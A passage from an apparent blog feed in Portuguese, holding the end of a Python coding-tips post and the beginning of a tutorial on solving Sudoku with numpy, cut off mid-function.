class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nesse caso, o retorno é explícito, e caso algo dê errado, o retorno ocorrerá antes. No segundo caso a mesma coisa:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_user_from_database&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;User not found&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;has_permissions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user does not have permissions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essa técnica pode diminuir a complexidade de leitura e ajudar a entender a função mais rapidamente.&lt;/p&gt;

&lt;h1 id=&quot;conclusão&quot;&gt;Conclusão&lt;/h1&gt;

&lt;p&gt;Essas foram algumas dicas de como usar o Python, mas ficam algumas dicas extras como leitura.&lt;/p&gt;

&lt;p&gt;Em primeiro lugar, as &lt;a href=&quot;https://docs.python.org/3/library/functions.html&quot;&gt;funções padrão do Python&lt;/a&gt; são um bom ponto de
partida para entender o que é suportado pela linguagem. Eu descrevi o uso do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enumerate&lt;/code&gt; e &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;range&lt;/code&gt;, mas outros também
são bastante utilizados, como o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sum&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;all&lt;/code&gt; e &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;any&lt;/code&gt;, que valem a pena serem aprendidos.&lt;/p&gt;

&lt;p&gt;Outra ferramente importante é o uso dos métodos mágicos, 
ou &lt;a href=&quot;https://realpython.com/python-magic-methods/&quot;&gt;dunder methods&lt;/a&gt;, que implementam como classes interagem com as 
operações. Você já deve saber que pode implementar a formatação de texto especial de um objeto re-implementando o
método &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__str__&lt;/code&gt;, mas você sabia que também pode implementar como um objeto soma com outro objeto implementando o 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__add__&lt;/code&gt; e o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__radd__&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;Por fim, vale dizer que é um eterno aprendizado. Novas funcionalidades são desenvolvidas constantemente, e é necessário
continuar sempre aprendendo!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Resolvendo problemas com Python: Sudoku</title>
   <link href="https://bvanelli.github.io/2020/03/15/resolvendo-problemas-com-python/"/>
   <updated>2020-03-15T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2020/03/15/resolvendo-problemas-com-python</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Esse pequeno artigo tenta explicar o poder que a linguagem Python tem para resolver problemas cotidianos de forma rápida.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#porque-python&quot; id=&quot;markdown-toc-porque-python&quot;&gt;Porque Python?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#o-problema&quot; id=&quot;markdown-toc-o-problema&quot;&gt;O problema&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#resolvendo-o-problema&quot; id=&quot;markdown-toc-resolvendo-o-problema&quot;&gt;Resolvendo o problema&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#definindo-o-problema&quot; id=&quot;markdown-toc-definindo-o-problema&quot;&gt;Definindo o problema&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#identificando-inserções-possíveis&quot; id=&quot;markdown-toc-identificando-inserções-possíveis&quot;&gt;Identificando inserções possíveis&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#preenchendo-as-células&quot; id=&quot;markdown-toc-preenchendo-as-células&quot;&gt;Preenchendo as células&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#código-completo&quot; id=&quot;markdown-toc-código-completo&quot;&gt;Código completo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extras&quot; id=&quot;markdown-toc-extras&quot;&gt;Extras&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;h1 id=&quot;porque-python&quot;&gt;Porque Python?&lt;/h1&gt;

&lt;p&gt;O Python é uma linguagem de alto-nível interpretada concebida na década de 1980 e finalmente implementada em sua primeira versão em 1991. Desde então, ela cresceu muito em número de usuários e ficou mais completa e simples de usar. O Python se baseia em alguns princípios definidos na &lt;a href=&quot;https://mail.python.org/pipermail/python-list/1999-June/001951.html&quot;&gt;Zen do Python&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Zen of Python, by Tim Peters&lt;/p&gt;

  &lt;p&gt;Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
[…]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Como vocês podem ver, a linguagem é focada em ser limpa, concisa e legível, sem perder (muito) a sua velocidade de execução. Afinal, em muitos casos, de que adianta você conseguir rodar algo em C/C++ que é 100x mais rápido que o equivalente em Python, se você demoraria 10x menos para escrever a solução em Python? Se você pretende executar sua solução uma vez para automatizar uma tarefa repetitiva, a rapidez de desenvolvimento é muito mais importante que o tempo de execução.&lt;/p&gt;

&lt;p&gt;De acordo com o &lt;a href=&quot;https://pypl.github.io/PYPL.html&quot;&gt;PYPL&lt;/a&gt; (&lt;em&gt;PopularitY of Programming Language&lt;/em&gt;), que avalia a popularidade de linguagens de programação. O Python atualmente ocupa a primeira colocação como linguagem mais popular, tendo passado o Java e representando cerca de 30% das buscas no Google entre 22 linguagens. As fantásticas ferramentas incluídas em sua biblioteca padrão (dicionários, listas, operações de entrada e saída, manipulação de strings e objetos, etc) e nas bibliotecas desenvolvidas pela comunidade (plot de gráficos, ferramentas de análise de dados e machine learning, etc) foram as grandes responsáveis por esse sucesso. Muitas vezes, códigos que precisam de várias linhas em outras linguagens possam ser resumidas a uma ou duas linhas usando essas bibliotecas.&lt;/p&gt;

&lt;p&gt;Para demonstrar o uso dessa linguagem na prática vamos tentar resolver um &lt;em&gt;sudoku&lt;/em&gt; usando Python.&lt;/p&gt;

&lt;h1 id=&quot;o-problema&quot;&gt;O problema&lt;/h1&gt;

&lt;p&gt;O Sudoku é um jogo de lógica onde o jogador deve preencher um tabuleiro 9x9 com os números de 1 a 9 de forma que nenhuma linha, coluna ou quadrante tenha o mesmo número duas vezes. A Figura abaixo mostra um desses tabuleiros. A primeira imagem é um problema típico, onde as linhas finas dividem as células e as linhas mais grossas dividem os quadrantes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/e/e0/Sudoku_Puzzle_by_L2G-20050714_standardized_layout.svg/1024px-Sudoku_Puzzle_by_L2G-20050714_standardized_layout.svg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A segunda imagem (abaixo) é um tabuleiro resolvido, com a resolução em vermelho.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Sudoku_Puzzle_by_L2G-20050714_solution_standardized_layout.svg/1024px-Sudoku_Puzzle_by_L2G-20050714_solution_standardized_layout.svg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;resolvendo-o-problema&quot;&gt;Resolvendo o problema&lt;/h1&gt;

&lt;p&gt;Iremos dividir a resolução do problema em várias partes: definindo o problema no Python, identificando as possibilidades das células, preenchendo as células e por fim retornando os resultados. Caso o leitor queira resolver por si mesmo o problema, essa é uma boa hora para parar de ler e por a mão na massa! Como um aviso: a resolução do problema vai ser apresentada da forma mais concisa e bonita possível, que definitivamente não foi a primeira solução que cheguei quando resolvi ele pela primeira vez!&lt;/p&gt;

&lt;h2 id=&quot;definindo-o-problema&quot;&gt;Definindo o problema&lt;/h2&gt;

&lt;p&gt;Vamos definir primeiro o Sudoku em uma matriz. O Python (claro) já tem uma biblioteca para utilização de matrizes, o &lt;a href=&quot;https://numpy.org/&quot;&gt;numpy&lt;/a&gt;. Como já sabemos a resposta do Sudoku da figura acima, vamos utilizá-lo como teste, preenchendo o valor zero nas posições desconhecidas.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;numpy&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reshape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Assim, quando executamos &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print(sudoku)&lt;/code&gt; obtemos a matriz formatada (obrigado numpy!):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[[5 3 0 0 7 0 0 0 0]
 [6 0 0 1 9 5 0 0 0]
 [0 9 8 0 0 0 0 6 0]
 [8 0 0 0 6 0 0 0 3]
 [4 0 0 8 0 3 0 0 1]
 [7 0 0 0 2 0 0 0 6]
 [0 6 0 0 0 0 2 8 0]
 [0 0 0 4 1 9 0 0 5]
 [0 0 0 0 8 0 0 7 9]]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;identificando-inserções-possíveis&quot;&gt;Identificando inserções possíveis&lt;/h2&gt;

&lt;p&gt;Um número só pode ser inserido em uma posição se ele ainda não estiver na linha, coluna ou quadrante.&lt;/p&gt;

&lt;p&gt;Podemos retirar a linha de uma matriz com numpy facilmente usando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudoku(linha, :)&lt;/code&gt;. O mesmo ocorre com a coluna, usando notação semelhante, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudoku(:, coluna)&lt;/code&gt;. Para o quadrante, vamos escrever uma pequena função que retorna o quadrante inteiro.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;quadrant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Assim, é possível testar se a inserção é válida usando o operador &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;in&lt;/code&gt; do Python:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;is_valid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
